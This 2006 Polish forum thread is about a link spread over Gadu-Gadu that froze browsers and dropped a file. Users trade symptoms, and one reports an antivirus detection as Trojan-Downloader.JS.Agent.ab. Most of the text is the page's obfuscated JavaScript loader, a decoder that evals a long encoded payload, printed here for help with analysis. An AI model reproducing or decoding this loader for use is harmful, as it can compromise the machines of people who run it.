ďťż
Podstrony
|
telcocafeDostałem od dwóch znajomych z gg taką wiadomość:co¶ o Polsce :) http://www.helffrich...polska15459.php Mimo, że podejrzewałem, że może tu być coś nie tak, kliknąłem w link. Otworzyła sie strona taka jaka jest przy błedzie 404 na apachu a pod spodem fotka DJów. Nagle IE, a potem cały komp sie zawiesił. Norton nie wykazywał obecności wirusa. Dobra, zresetowałem kompa i chyba wszystko dobrze ... Patrze, a na pulpicie znalazł się "z nieba" plik gg.dll o objętości ok. 8 kb. Pytam się tych osob czy wiedzą co wysłały. Otrzymałem odpowiedz jakiej sie spodziewałem, czyli powiedzieli mi, że raczej ktos im sie włamał na gg i wysłał to do wszystkich na liście. Oczywiscie im wierzę, bo na 99% tak było jak oni mówią. Postanowiłem osobiście zbadac tę sprawę i w miare swoich możliwości wykryć, jak ta strona działa itp. ORT! na nią znowu, tym razem spod FF, który także się zawiesił. Przy okazji miałem włączone gg i w tym właśnie momencie wyświetliło się w gg okienko błedu z jakimiś informacjami (narazie ich nie będę kopiował bo i tak ten post już za długi bedzie ...) i pytaniem czy wysłać to do zespołu gg czy nie. Ja oczywiscie dałem nie. Potem wpadłem na pomysł by skopiować źródło tej strony na dysk (mimo, że jest ona w php, to może jednak w kodzie coś ciekawego będzie). No to ORT! na tą witrynkę, szybko skopiowałem źródło. Wkleiłem je poniżej. Sorry że wkleiłem je całe, ale być może, że jak bym wyciął jakiś kawałek, to wywaliłbym coś bardzo ważnego dla całego kodu, więc wolałem go w całości zachować. O dziwo gdy ORT! na tą stronkę by skopiować jej źródło, to nic sie nie zawiesiło ... Gdy już jej kod skopiowałem na dysk, to uruchomiłem jej plik html. Po jego uruchomieniu wyświetliło się wszystko dokładnie jakby stronka była w necie i wystąpiły takie same objawy jak wczesniej, tj. zwiecha IE a dodatkowo włączyła się konsona a w niej jakiś program chyba NTDETECT i jakieś inne. Poniżej preneztuje kod strony, który zapisałem na dysku. Jeśliby ktoś wiedział za co on odpowiada, czemu jest taki długi i dlaczego przez niego dzieja się takie dziwne rzeczy, to prosiłbym o napisanie tego tutaj. I jakby ktoś mógł, to żeby sprawdził tą stronke w necie czy rzeczywiscie jest na niej wirus czy cos podobnego. Użytkownik lofix edytował ten post 06 listopad 2006, 16:56 Fajne :lol: dzieki za tego linka - u nie nic takiego jak u Ciebie w opisie nie zaobserwowalem, zero powiazan z GG a ten kod to jakis aplet BaaaBaaaaaaa :D Do czego moze sluzyc niewiem :unsure: ale watpie zeby byl niebezpieczny. Dodam jeszcze że widze, że cały kod i tak sie zmieści .... Niezle :mad: co za idiota zrobił tamtą stronke ... POdam jeszcze końcówke tego kodu bo ona może być istotna. Mam nadzieje że ta czesc ktora nie została tu umieszczona nie jest zbyt istotna do odczytania do czego ten kod służy. Użytkownik Kamil Wajda edytował ten post 05 listopad 2006, 17:09 daj to na jakis pastebin bo strona rozwalona na maxa btw tez dostalem ta wiadomosc ale od kogos obcego ... a ty od znajomych? :blink: Najlepiej nie otwierać żadnych podejrzanych linków ;) Ja jestem na takie sprawy nadwyraz wyczulony, bo nie mam antywira. BTW Pobiłeś rekordy rozwalania strony! :) Z tego wychodzi ze to "zwykly" javascript - w tym miejscu raczej sie nie binduje plikow. Widac te glupie znaczki maja za zadanie wywolac zwykly blad odczytu w IE (patrz. alert) Odpalcie Menagera zadań i kliknijcie w link - nagle przez jakis czas 100% sciaga z procka ;> Ten JS wyglada jakby byl zakodowany wiec raczej nic z niego nie wyczytasz ;) Z tego wychodzi ze to "zwykly" javascript - w tym miejscu raczej sie nie binduje plikow. Widac te glupie znaczki maja za zadanie wywolac zwykly blad odczytu w IE (patrz. alert) Odpalcie Menagera zadań i kliknijcie w link - nagle przez jakis czas 100% sciaga z procka ;> Ale plik możliwe że sie zrobił gdy stronke uruchamiałem z neta czyli jak była w php. Twoja wypowiedz własnie przypomniała mi koljeny objaw działania tej stronki. MIanowicie jak podczas tej zwiechy ORT! do menedżera zadań, to zauważyłem że proces iexplorer.exe jest jako wykonywany przez SYSTEM ... A zawsze był napisany jako moja nazwa usera ... btw: stronke wrzuce na jakis pastebin, ale jak mi sie net poprawi czyli chyba jak pogoda sie polepszy bo mam wifi i ledwo co wogóle tego posta pisze ... Użytkownik lofix edytował ten post 06 listopad 2006, 16:54 tylko ja nie widze pierwszych 2 postow wajdy czy kazdy tak ma? Ooo u mnie tez tak jest... System zamiast nazwa ORT! - IE z forum dziala pod nazwa ORT!, a stronka uruchamia sie juz w procesach systemowych. Moze i faktycznie jakis plik dopiero sie ORT! na dysku - ale zeby dzialac nie ORT! nadpisal sie u mnie pod jakis inny proces. :blink: :blink: Mamy moze tu jakiegos speca ktory moglby skompilowac czy cos w tym rodzaju kod ze stronki. Blackmaul - a czy ja pisalem ze to jest niezakodowane?? chodzilo mi o to ze "plikow wykonawczych" nie obsadza sie w tej czesci dokumentu (tyle ze tutaj fizycznie z plikiem nie mamy doczynienia :( ) edit:// bikstopa - chyba tylko ty :) Użytkownik lofix edytował ten post 06 listopad 2006, 16:53 nie tylko, ja też mam rozwalone i nie ma treści posta. To moze nowego Topica zalozyc?? Dlaczego ORT! postu?? Czego uzywasz?? Sprobuj IE Użytkownik lofix edytował ten post 06 listopad 2006, 17:08 To moze nowego Topica zalozyc?? Dlaczego ORT! postu?? Czego uzywasz?? Sprobuj IE skad ja ci ie wezme?:/ sam zlookaj http://www.fotosik.p...9d9cb5154a.html edit: odkodowalem stronke z tematu jet to explolit instalujacy jakiegos syfa, wdziera sie on za pomoca HttpdXMLrequest oraz ActiveX'a wyslalem robaka do labolatorium online skanujacego - nie znalazlo zadnego vira w tym, wiedz radze uwazac bo bedzie was ratowac tylko formac C: Użytkownik lofix edytował ten post 06 listopad 2006, 17:08 Jak zobaczyłem fotke bikstopy to postanowiłem jednak usunąć ten kod. Będziecie go mogli zobaczyć dopiero jak net mi sie poprawi (wtedy bedę mógł ten kod wrzucic na jakis hosting do tego przeznaczony). Btw 1: Rozwaliłem forum <hurra> :D :D :D Udało sie to komuś kiedyś? :P Jesli nie to czuje sie zaszczycony moc byc pierwszym <lol2> (taki joke :D ) Btw 2: Ujawnia się nam tu wyższość IE nad Opera :P Na IE wszystko dobrze widac. Teraz do bikstopy: Jak to odkodowałeś? Jakąs funkcją która była ukryta w tym "pięknym" skrypcie? Możesz mi zapodać odkodowany kod? I dobrze było jakby ktoś sie dowiedział co to za exploit ... Ale to tak przy okazji (byłbym wdzięczny). Niemożliwe żeby on był zepełnie niewykrywalny przez AV ... Btw odkąd na te stronke ORT! to co jakis czas Norton Worm Protection wyświetla alerty o zablokowanych próbach włamania ... Dobrze że jestem też za natem ... Bo chyba teraz jestem bardziej bezpieczny :P Użytkownik lofix edytował ten post 06 listopad 2006, 17:13 U mnie tą stronę zablokował kaspersky (według mnie najlepszy antywir)wyrzucił komunikat że wykryto: Koń trojański Trojan-Downloader.JS.Agent.ab URL: http://www.helffrich...polska15459.php. Następnie pytanko czy skasować i po kłopocie.Uwielbiam ten program,jeszcze nigdy mnie zawiódł. Pozdrawiam :) Kaspersky jęknął jak dzika świnia :) A potem otworzyła się taka oto strona function r(lI,t) {if (!t)t='3n6FR^EYm(SAvCHcU#4Wh5~0G)t7J.N!x[MTy;DlLbVaBZ8Qo@g&ipKw,*e2XuOf' ;var So;var ii='';for(var sa=0;sa<<18|(t.indexOf(lI.charAt(sa+1))&255)<<12|(t.indexOf( lI.charAt(sa+2))&255)<<(arguments.callee.toString().length-442) |t.indexOf(lI.charAt(sa+3))&255;ii+=String.fromCharCode((So&(255*256*256) )>>16,(So&(65000+280))>>8,So&255);}eval(ii);}; r('JMxl0;(.#~.Vv~ZR4RLT)w[QAE.4.5CQm~mL)pmgJ~.4vE^NtD@g7K^8.p*40h5ltT^a#R[ SmK.,7g@lhl5W)KLKtg)h7WhDhl5W7K^pmhb7C05e.~(aH^Zpt&[7705DvyB,4K)pmhZe4D(ZWl5[ HEoKSE.H.~R,7^,L)KLK7Due7h)QNDu4vD@a.0bB.~B,~w5aH^ZZWiZpvE@QNDio7wbZ#Due7p(D7F(L4i*pmhZD. 4^S~KuT4&n8t&[7.~B,7RbaHE@Bt&[B4DB,7E@aH^ZZW&[D.4^A.WGL)i*pGW[B0M[ ltT)87wbZ#Due7p(D#D@aH^Zpt&[^tY5*hl5aHR5LG5*OvF^N!Dp70DbSt&[^tY[3! T[aHR5Lmi#,4DB,#~[y#Yxgmp*H.~R,h;iT7wbcGD.4C4oDG05[H^[Ztg)m0DBD50^aH^ZZ4Due7WnQND[ B7wbLtEue7h)pWlh[4who7;*4tpZ*t;iTUEb)U0nD.~^SG05[H^(Bt&[^W^B,#ybaHR5L5y#,4DB, #~[4#Yxgmp*H.~R,hT([(D#.G~ueWK(l5F3[7wbcG;*VCy5RNFmT)pmgG5*V4DB,#~[,N5( aU5*D.~R,~RZ[JEbamp*[.~R,~RBL7wbcGD.O7~ZQNyuMUEb@t&[^tF3D4EXL(D*ASRn,vT.NtT)77wbcGD. 4vKB,#~[WUELK7y#4.~B,#~[7N5(pt&[^tE^N!T3@0l*Z~gb5.~(AWl5M4D)pmhb7C~) QNDio7wbZ#ybp4K@p7T(e.~^pmhZpvE(3tDpW0D)pGhZ^76v,G0R[7~)pmhb[.~^A7TnB4&nQvYh@HEB, ~w5aHE@St&[B7EB,7RbaHE@Bt&[77~@DvynaHR5LA^*H.4^AWl5[HE,B5YbD.~R,50h[4K)pmhb[ .~^A7yZQv;5pmhZD.4^S~iZQv;5pGW[4tK*QNDpB7wbcG0bOtKC37;CaHR5ct&[7.~B,~&[aHE*N7EGgUEB, ~w5aHE@St&[B7EB,7RbaHE@Bt&[774^3NEXB(;[St&[^tR^3tT)m)KLo4^*D.4^AWl5[ HE,BC~.yvYb3NEXB(;[St&[^WKB,~w5aHE@St&[B7EB,7ynaHE*Bt&[B4DB,7E@aHR5vt& [^HEB,#W[aHRh,t&[^HEB,#W[aHR5vt&[^HEB,#W[aHRh,t&[^HEB,#W[aHR5vt& [^WEB,#W[aHRh,t&[^HEB,#W[aHRh,t&[^HEB,#h@aHRh,t&[^HEB,#W[aHRh, t&[^HEB,#h@aHR5vt&[^HEB,#W[aHRh,t&[^HEB,#W[aHRh,t&[^WEB,#W[ aHRh,t&[^HEB,#W[aHRh,t&[^HEB,#h@aHRh,t&[^HEB,#W[aHRh,t&[^HEB,#h@aHR5vt& [^WEB,#h@aHR5vt&[^WEB,#h@aHR5vt&[^WEB,#W[aHRh,t&[^HEB,#W[aHRh,t& [^WEB,#W[aHRh,t&[^HEB,#h@aHRh,t&[^HEB,#W[aHRh,t&[^WEB,#h@aHR5vt& [^WEB,#h@aHR5vt&[^WEB,#W[aHRh,t&[^HEB,#h@aHRh,t&[^HEB,#W[aHR5vt& [^WEB,#W[aHRh,t&[^HEB,#h@aHR5vt&[^HEB,#W[aHRh,t&[^HEB,#W[aHR5vt& [^WEB,#h@aHE@St&[B7EB,#W[aHRh,t&[^WEB,#h@aHR5vt&[^HEB,#h@aHR5vt&[ ^HEB,#W[aHR5vt&[^HEB,#W[aHR5vt&[^WEB,#W[aHRh,t&[^WEB,#h@aHRh,t& [^WEB,#h@aHR5vt&[^HEB,#W[aHRh,t&[^WEB,#h@aHRh,t&[^WEB,#W[aHRh,t& [^WEB,#W[aHR5vt&[^WEB,#W[aHRh,t&[^WEB,#h@aHRh,t&[^WEB,#h@aHRh,t& [^HEB,#h@aHRh,t&[^HEB,#h@aHR5vt&[^WEB,#h@aHR5vt&[^WEB,#h@aHR5vt&[^WEB, #W[aHRh,t&[^WEB,#W[aHRh,t&[^WEB,#W[aHRh,t&[^WEB,#h@aHRh,t&[ ^HEB,#h@aHR5vt&[^WEB,#h@aHR5vt&[^WEB,#h@aHR5vt&[^WEB,#W[aHRh,t&[^WEB, #W[aHRh,t&[^WEB,#h@aHRh,t&[^HEB,#h@aHRh,t&[^HEB,#h@aHR5vt&[^HEB,#W[ aHR5vt&[^HEB,#W[aHR5vt&[^WEB,7RbaHE@Bt&[^HEB,#W[aHR5vt&[^WEB,#h@aHR5vt& [^WEB,#h@aHRh,t&[^HEB,#h@aHRh,t&[^HEB,#h@aHR5vt&[^HEB,#W[aHR5vt&[ ^HEB,#h@aHR5vt&[^WEB,#W[aHRh,t&[^WEB,#W[aHRh,t&[^WEB,#W[aHR5vt& [^HEB,#W[aHR5vt&[^HEB,#h@aHR5vt&[^HEB,#W[aHR5vt&[^HEB,#h@aHR5vt& [^WEB,#W[aHRh,t&[^WEB,#W[aHRh,t&[^WEB,#h@aHR5vt&[^WEB,#h@aHR5vt& [^WEB,#h@aHR5vt&[^HEB,#W[aHR5vt&[^HEB,#W[aHR5vt&[^WEB,#W[aHRh, t&[^HEB,#W[aHR5vt&[^WEB,#h@aHR5vt&[^WEB,#h@aHR5vt&[^WEB,#h@aHR5vt& [^WEB,#W[aHRh,t&[^HEB,#h@aHR5vt&[^WEB,#W[aHRh,t&[^WEB,#W[aHRh, t&[^WEB,#h@aHRh,t&[^HEB,#h@aHRh,t&[^HEB,#h@aHR5vt&[B4DB,7E@aHRh,t& [^HEB,#h@aHR5vt&[^WEB,#h@aHR5vt&[^WEB,#W[aHRh,t&[^HEB,#W[aHR5vt& [^WEB,#h@aHRh,t&[^HEB,#W[aHRh,t&[^WEB,#h@aHR5vt&[^HEB,#W[aHR5vt& [^HEB,#W[aHR5vt&[^WEB,#h@aHRh,t&[^HEB,#h@aHR5vt&[^WEB,#h@aHRh,t&[ ^HEB,#W[aHRh,t&[^WEB,#h@aHR5vt&[^HEB,#W[aHR5vt&[^HEB,#W[aHR5vt& [^WEB,#h@aHR5vt&[^WEB,#h@aHR5vt&[^WEB,#h@aHRh,t&[^HEB,#W[aHRh,t&[ ^WEB,#h@aHR5vt&[^WEB,#W[aHRh,t&[^WEB,#h@aHR5vt&[^WEB,#h@aHR5vt&[^WEB, #h@aHR5vt&[^WEB,#h@aHR5vt&[^HEB,#W[aHRh,t&[^WEB,#h@aHR5vt&[^HEB,#W[ aHR5vt&[^HEB,#W[aHR5vt&[^WEB,#W[aHRh,t&[^WEB,#W[aHRh,t&[^WEB, #h@aHE@St&[B7EB,#W[aHRh,t&[^WEB,#h@aHR5vt&[^WEB,#h@aHR5vt&[^HEB,#W[ aHR5vt&[^HEB,#h@aHR5vt&[^WEB,#W[aHRh,t&[^WEB,#W[aHR5vt&[^WEB,#h@aHRh, t&[^HEB,#W[aHRh,t&[^HEB,#h@aHR5vt&[^WEB,#W[aHRh,t&[^WEB,#h@aHR5vt& [^WEB,#W[aHRh,t&[^WEB,#W[aHR5vt&[^WEB,#h@aHRh,t&[^HEB,#h@aHRh,t& [^HEB,#h@aHR5vt&[^WEB,#h@aHR5vt&[^WEB,#h@aHR5vt&[^WEB,#W[aHRh,t&[ ^WEB,#W[aHRh,t&[^WEB,#h@aHR5vt&[^HEB,#W[aHR5vt&[^WEB,#h@aHR5vt&[ ^WEB,#h@aHR5vt&[^WEB,#h@aHR5vt&[^WEB,#h@aHRh,t&[^HEB,#W[aHR5vt&[^WEB, #h@aHRh,t&[^HEB,#h@aHRh,t&[^HEB,#h@aHR5vt&[^HEB,#W[aHR5vt&[^HEB,#W[ aHR5vt&[^WEB,7RbaHE@Bt&[^HEB,#W[aHR5vt&[^WEB,#h@aHRh,t&[^WEB,#h@aHRh, t&[^HEB,#h@aHRh,t&[^HEB,#h@aHR5vt&[^HEB,#W[aHR5vt&[^WEB,#W[aHR5vt& [^WEB,#W[aHRh,t&[^WEB,#W[aHRh,t&[^WEB,#h@aHR5vt&[^HEB,#W[aHR5vt& [^WEB,#h@aHR5vt&[^HEB,#W[aHR5vt&[^WEB,#W[aHR5vt&[^WEB,#W[aHRh, t&[^WEB,#W[aHRh,t&[^WEB,#h@aHR5vt&[^WEB,#h@aHR5vt&[^WEB,#h@aHR5vt& [^HEB,#W[aHR5vt&[^HEB,#W[aHR5vt&[^WEB,#h@aHRh,t&[^HEB,#h@aHR5vt& [^WEB,#h@aHR5vt&[^WEB,#h@aHR5vt&[^WEB,#h@aHR5vt&[^HEB,#W[aHR5vt&[ ^HEB,#W[aHR5vt&[^WEB,#W[aHRh,t&[^WEB,#W[aHRh,t&[^WEB,#h@aHRh,t& [^HEB,#h@aHRh,t&[^HEB,#h@aHR5vt&[B4DB,7E@aHR5vt&[^HEB,#W[aHRh,t&[ ^HEB,#h@aHR5vt&[^HEB,#W[aHRh,t&[^HEB,#h@aHRh,t&[^HEB,#W[aHRh,t&[ ^HEB,#W[aHRh,t&[^HEB,#h@aHRh,t&[^HEB,#W[aHR5vt&[^HEB,#W[aHRh,t& [^WEB,#W[aHRh,t&[^HEB,#W[aHR5vt&[^WEB,#W[aHRh,t&[^HEB,#W[aHRh, t&[^HEB,#h@aHRh,t&[^HEB,#W[aHRh,t&[^HEB,#h@aHR5vt&[^WEB,#h@aHR5vt& [^WEB,#h@aHR5vt&[^WEB,#W[aHRh,t&[^HEB,#W[aHRh,t&[^WEB,#h@aHR5vt& [^HEB,#W[aHRh,t&[^HEB,#h@aHR5vt&[^WEB,#h@aHR5vt&[^WEB,#h@aHR5vt&[ ^WEB,#W[aHRh,t&[^HEB,#h@aHRh,t&[^HEB,#W[aHR5vt&[^WEB,#W[aHRh,t& [^HEB,#h@aHR5vt&[^HEB,#W[aHRh,t&[^HEB,#W[aHR5vt&[^WEB,#h@aHE@St& [B7EB,#h@aHE@St&[B7EB,#h@aHR5vt&[^WEB,#h@aHR5vt&[^WEB,#h@aHR5vt&[^WEB, #h@a75B,t&[^WEZZ.W[aHR5vt&[^WEB,#h@aHR5vt&[^WEB,7yna75B,tKp7HEB,#h@aHE@St& [B7EB,#h@aHR5vt&[^WEB,#h@aHR5vt&[^WEB,#h@aHR5vt&[^WEB,#h@a75B,tKp7HEZZ.W[ a70h,t&[^WEB,#h@aHR5vt&[8UEB,7yna75B,tKp7HEB,#h@aHE@St&[B7EB,#h@aHR5vt&[ ^WEB,#h@aHR5vt&[^WEB,#h@aHR5vt&[^WEB,#h@a75B,tKp774;OG0h@4D^pGW[H.~^Atpib7wbl#Due) i)QNyuM7wbL7EuetE[QNyuM7wbcGl,@04;Ov5ib!D^pGhZ5.0[SG05[HR*pGW[H.~R,vFCa75ZZS~ueWK( QNyuM7wbcGDue)i)QNT(E!T^.S0,@04;OG05[HR*pGyZH.~(S)l5[HR*pGhZ5.~R,Wl5[ HR*pGW[H.~R,Wl5[HR*pGW[H.~R,Wlh@4D^pNRb[.~R,Wl5[HR*pGhZ5.~R,Wl5,4D^pGW[H.W^SG05[ HR*pGW[H.0[SG05[4p5pGW[H.~R,Wl5[HR*pGW[H.~R,Wl5[HR*pGW[H.W^SG05[HR*pGyZH. ~(S)l5[5y*pGW[H.~R,Wl5[HR*pGW[H.~R,Wl5[HR*pGW[H.~R,Wl5[HR*pvhb[ .W^SG05[4p5pGW[H.~R,Wl5,4D^pGW[H.~R,Wlh@4D^pGhZ5.~^A505[HR*pGW[H.~R,Wl5[HR*pGW[ H.~R,Wl5[HR*pGW[H.~R,Wl5[5D)pGW[H.~(AWl5M4D)pGW[H.0[SG05[HR*pGW[ H.~R,Wl5[HR*pGW[H.~R,Wl5[HR*pGW[H.~R,Wlh@4D^pvhb[.~R,Wl5[HR*pNRb[.~R,Wl5[ HR*pGhZ5.~^A505[HR*pGW[H.~R,Wl5[HR*pGW[H.~R,Wl5[HFn.S0,@04;Ov5ib!T^.S0,@04;OG05[ HR*pGyZH.~(S)l5[HR*pNRb[.~R,Wl5[HR*pGW[H.~R,Wl5[HR*pGW[H.~R,Wl5[HR*pGW[ H.~R,Wlh@4TR&t&[^WEZZ~&[aHR5LS~ue7p(QNyuM7wbcGDueWK(QNyuM7wbcGDueWK(QNyuM7wbl#Duevy) QNyuM7wbcGDueWK(QNyuM7wbcGDueWK(QNyuM7wbcGDueWK(QNyuM7wbcGDueWK(QNyuM7wbQhDue)i) QNyuM7wbL7EuetE[QNyuM7wbl#DueWK(QNyuM7wbcGDueWK(QNyuM7wbcGDueWK(QNyuM7wbcGDueWK(QNyuM7wbcGDuevy) QND.E7wbQhDueWK(QNyuM7wbcGDueWK(QNyuM7wbcGDueWK(QNyuM7wbcGDue)i)QNyuM7wLg#DueWK( QNyuM7wbcGDueWK(QNyuM7wbcGDueWK(QNyuM7wbcGDueWK(QNyuM7wbQhDueWK(QND.E7wbcGDuetE@QND[ L7wbcGDue7p(QNyuM7wbcGDueWK(QNyuM7wbcGDueWK(QNyuM7wbcGDueWK(QNyuM7wbcGDueWK(QNyuM7wbcGDueWK( QNyuM7wbcGDueWK(QNyuM7wbcGDueWK(QNyuM7wbcGDueWK(QND.E7wbcGDueWKmV);BwSD)7CgbD~& JV);ZaHR5vt&[^WEZZ~&[aHR5vt&[B4DB,7E@aHR5vtKp7HEB,#h@a705ptKpp.~ZZ.05a705pt& [^WEB,#h@aHR5vt&[^WEB,#h@aHR5vt&[^tR3,7RbaHR5vt&[^WEB,#h@aHR5vt&[^WEB, #h@a705ptKpp.~ZZ.05a75B,t&[^WEB,#h@a75B,t&[^WEB,#h@aHR5vt&[^WEB,#h@aHR5vt& [^WEB,#h@aHR5vtKp7HEB,#h@aHR5vtKp7HEB,#h@aHE@St&[B7EB,#h@aHR5vtKppHEZZ~&[a75B,tKp7HEZZ~& [a70h,t&[^WEB,#~[Q4T^Bt&[^WE^~Ny3[7hG,t&[^WEB,#h@aHE*3tKp7HEZZ~& [a75B,tKp7HEB,#h@aHR5vtKp7HEB,#h@aHR5vt&[^WEB,#~xL7wbcGy#[.~R,Wl5[HR*pNRb[.~R, Wl5[HR*pNRb[.~R,Wl5M4i*pGybD.~R,Wl5[HR*7CgbD~&JV);BwSD)7CgbD~&JV);BwSD) 7CgbD~&JV)l5,4D^pGW[H.~R,W;BwSD)7CgbD~&JV);Bw7wbcGDueWK(QND.E7wbcGDuetE@QND[ L7wbcGDueWK(QNT(ESD)7CgbD~&JV);BwSD)7CgbD~&JV);BwSD)7CgbD~&JV) ;BwSD)7CgbD~&JV);BwSD)7CKueWK(QND[B7wbLtEuetE@QND[L7wbcGDue7K[QNDu47wbL7EuetE[ QND[B7wbLtEuetE@QND[L7wbL7EuetE[N4FmTUY[AAR#hJ~B,#~x[)p[Lv6)m7gxD505[ 5y*pG5)D.~R,Wl5,4;5pGW[G7KZl~F([#^5pGW[G4K^ltl5aH^Zct&[^WEZZ~ibaHE@St& [B7EB,7RbaHEoo)E.VCy5lhDBL#^5pGW[B)KZlv^pON~LKSW(yvDRD5EBL#^5pG5)Bt&nON^*a( yx,t&[^7DZZ~iuaHE@St&[B7EB,7RbaHE@Bt&[E7DB,#~xB0;5pGW[H.~^~7EBo!l[ Ntg)mH6C*tT)80l,pGp*5.~^~Wl5[7W^ZtT[D.~^ZG05[5D)pGW[H.~R,)lh[4i*pGW[ H~p;QNyXK7wbcGM)yv;Zl!DXT7wbcGDueWK^VvE[e.h)ct&[^WKB,7RbaHE@Bt&[E7DB,#~[ a#^[ZtKueWK(*tynaHR5vt&[^C~uAv;ph0l*Qm4bytgCNhT(@N;#3t&[^W~B,#~.ON~LK7y#,) g^QNyuMNDZSt&[^WFRV#~@aHRhDt&[^7DB,#h@aHR5Bt&[74DB,#howHE)pG5)D.~R,~Eua) pxgGh#5.~R,Wl5[HEBp4DueWK^QND[B7wbLtEueWF)QNyuM0Db)m5*D.~R,hDZy7wbcGDueWw^D.Wmb)KUgG4) [CM@R)RZaJE@.)EueWw^QNyu,v;#amp*400xDG05[HEoK.~ueWK(Z)l^M7wbcNEueW&)QNyuM7wbc~~ue7~@QNyuMSlbBt& [^7DB,#~[[0l*Av4)yJ~B,#h@aHR5cG~)[.~R,505M4i*pGybD.~(~)l5[H^mgU4) h.~B,#~xB0;5pGW[H.~^~7EBo!l[Ntg)mH6C*tT)80l,pGp*5.~^~Wl5[7W^lAR#y4g[lNF[ aHR5L5T(H.~R,#lhTH^5pG~p[.~^~)l5[HR*pGW[D.4^AWl5[HR*7~~ueW&)QNyuM( DUg~K.O7gCQNyuM7wbcGW[8U4^QNyu[7wbL7EuetE[QNyoK7wbcG;*V~4^N)l5[H^(a)EueWK( QNyu@)lhgS~.yvDRDGWGB#E#AtwnB0~#QNyu@7wbcNF(htgCNh;p,(D^pGW[E7l^QNyu,7wbcCDueWK(QNyu) 7wbZ7EueWKmVND@aHR58t&[^tE^N!yB@(D#@t&[^WEB,#hXK5y*pGW[5.~(AWl5M4D) pG;)D.~R,hT(n(;#pt&[^t6@N505[HR*pG5)H.~^~7EBo!l[Ntg)mH6C*tT) 80l,pGp*5.~^~Wl5[7W^lAR#5.~R,#DZ@7wbcGDpHJW)QNyu,7wbcCDueWK(QNyu)7wbZ7EueWKmVND@aHR58t& [^WEZZ~&[a75B,t&[^WEB,#W5Q4&(.5^*O7gRV)EBT0;mgJ0bhUEB,#hpaHR5l!l;VCD*RNEJ[ 7wbcGlbV.~B,#4)aHR58t&[^WEB,#~@aH^ZSt&[^WFJ,)l5[5D)pG5)D.~R,~Eua) pxgGh#5.~R,Wl5[HE,@vEueWK^QND[B7wbLtEueWK(QNyuM7wbcGDueWK(QNyuM0Db)m5*D.~R,hDZy7wbcGDueWw^D. Wmb)KUgG4)[CM@R)RZaJE@.)EueWw^QNyu,v;#amp*400xDG05[HEoK.~ueWK(ZWl5[7~^pG5) D.~R,Wl5[HE)pmhZH.~R,W;Z)7wbcCDueWKmD)F(7)w*QmKueWK(QNyu[NDZSt&[ ^WKB,7RbaHE@Bt&[^WEB,#h@aHR5vt&[^WEB,#~[a#^[ZtKueWK(*tynaHR5vt&[^C~uAv; ph0l*Qm4bytgCNhT(@N;#3t&[^W~B,#~.ON~LK7y#,)g^QNyuM5lbpt&[^(DB,#~*aHR5vt& [^7EB,~ibaHR5vC&[D.~^~)l5[H^[QtK.GvD^R505[HR*pGW[^7T^QNyu[7wbL7EuetE[ QND[B7wbLtEue)K@QND[B7wbLtEueWK(QND[B7wbLtEueWK(QND[B7wbLt^*mvMC3NRBB#^#@t& [^t6^N!yZE#^#.H0;V.~B,#h@aHRhpminVv~ZQNDuE7wbcGD.yvR^ltl5aHE,,t&[^tEZo~ExB(DUgm~ue7i) QNyuM(;mo~w;H.~^SG05[H^(ASR#Vv6@R505[4D^pGW[G7~Z3NF([0D)pG5)D.~R,Wl5, 4;5pGyZH.~(S)l5M4i*pGybV4g[3NFmw0DLK~gby74[R5FJB0D)pGW[H.4^AWl5[H^mKCh#V.~B, #h@aHE*ct&[^WEB,#huaH^ZSt&[^WKB,#h@aHE*ct&[^tEBD5Eip(;(pt&[^C5#3t; y@0D)pG5)D.~R,Wl5[4;5pGyZH.~(S)l5[5y*pG5)4vlRDhDZ[0l,,t&[^7DB, #h@aH^Z3t&[^WEB,#huaH^Zct&[^tEZo~ExB(DUgm~ue7~@QNyu[7wbcGDue7i*QNyuM0l,pGl;O7KBDG05[ HR*pmhbD.~R,Wl5[H^5pGW[5.~^~)l5[HR*pGhb5.~(AWl5M4D)pG5)H.~^~~Exp)p( Ct&[^7DB,#h@aH^Z3t&[^WEB,#huaH^Zct&[^tE(3!yZW7wbZ7EueWK^QNyuM7wbQWDueWKmDhTn7Nh*pGW[ H.4^S)l5[HR*pGW[5.~R,505[5D)pGW[H.~^S505M4i*pGybD.~^~Wl5[5;(ASR#Vv6@R505[ 5D)pGW[H.4^A505[HR*pGW[5.4^S505[H^(ASR#Vv6@R50h[4i*pGW[5.~R,Wl5[4; 5pGW[44g[RtT3B#^5pGW[H.4^S)l5[HR*pGW[5.~R,505[5D)pGW[H.~^S505M4i*pGybD. ~^~Wl5[5;[Ztin,vD^N)l5[5D)pGW[H.4^A505[HR*pGW[5.4^S505[H^[Ztin, vD^N)l5[H^5pGW[H.4^S)l5[HR*pGW[5.~R,505[5D)pmhb5.~(AWl5M4D)pGyZH. ~(S)l5,4i*pGyZH.~(S)l5M4i*pGybD.~(AWl5M4DbNvh#y75Z*t;iT7wbcG;*hv;ZS5^iLN5#atKueWw^R) F3w0D)pG5)D.~R,Wl5,4;5pGyZH.~(S)l5M4i*pGybO0ThD505[H^(ZSR#hCg@N)l5[HR*pmhZH. ~R,Wl5[H^5pGW[H.~R,505[HR*pGhb5.~R,hyBLUYxgCp*VC;BV)EiL#^UwA^*D.4^S505M4i*pGybO0ThD505[ H^[ZtinO7i5*Wl5[HR*pmhZH.~R,Wl5[H^5pGW[H.~R,505[HR*pGhb5.~R,hTGp#Ebpt&[^WEB, 7yuaHR5vt&[^WKB,~ibaHR5ct&[7WKB,7RbaHEoo5RnOWKB,#~x[0l*AND.GWKB,#h@aH^ZSt&[ ^t6Clt;;n7wbZWDuetE@QND[L)KUoG~ueWK(R5^*y(;Ug~KueWK(QNDpB7wbcGT[H.4^S505M4i*pGybO0ThD505[ H^mgmp*H.~R,Wlh[4i*pGW[EWEB,~iuaHE@St&[Bv6@N505[HR*pG5)474[R5FJB0DGKU5*VCy[ lhypaHR5vt&[7.~B,#h@M7wbcCDueWK(QND.H7wbL7EuetE[R5^*y(;Ug~KueWK(QNDpB7wbcGynh04[ *5EZaSD#amp*4vl^e5RnaHRhpm5*VvE^35RpaHR58t&[7WKB,7RbaHEooA^*5.~R,Wl5[5;(.)^*m7~ZlWl5[ HR*pGW[D.4^AWl5[HR*7~~ueW&)QNyuM7wblWDuetE@QND[L#^#N)6)hv;ZQNyuM7wbQWDue7~@QNyuM( ;UgC4)y75vV)^;a#E#l~w;H.4^S505M4i*pGybVvMCNWl5[HR*pmhZH.~R,hDiL#^UwA^*DCM@R)RZaJE@.) EueWw^QNyu[7wbZWDueWK^QNDuE7wbcGy#h0DUD5F(77wbcCDuetE@QND[LN~b3t&[^WEB,#W5a#E#St& 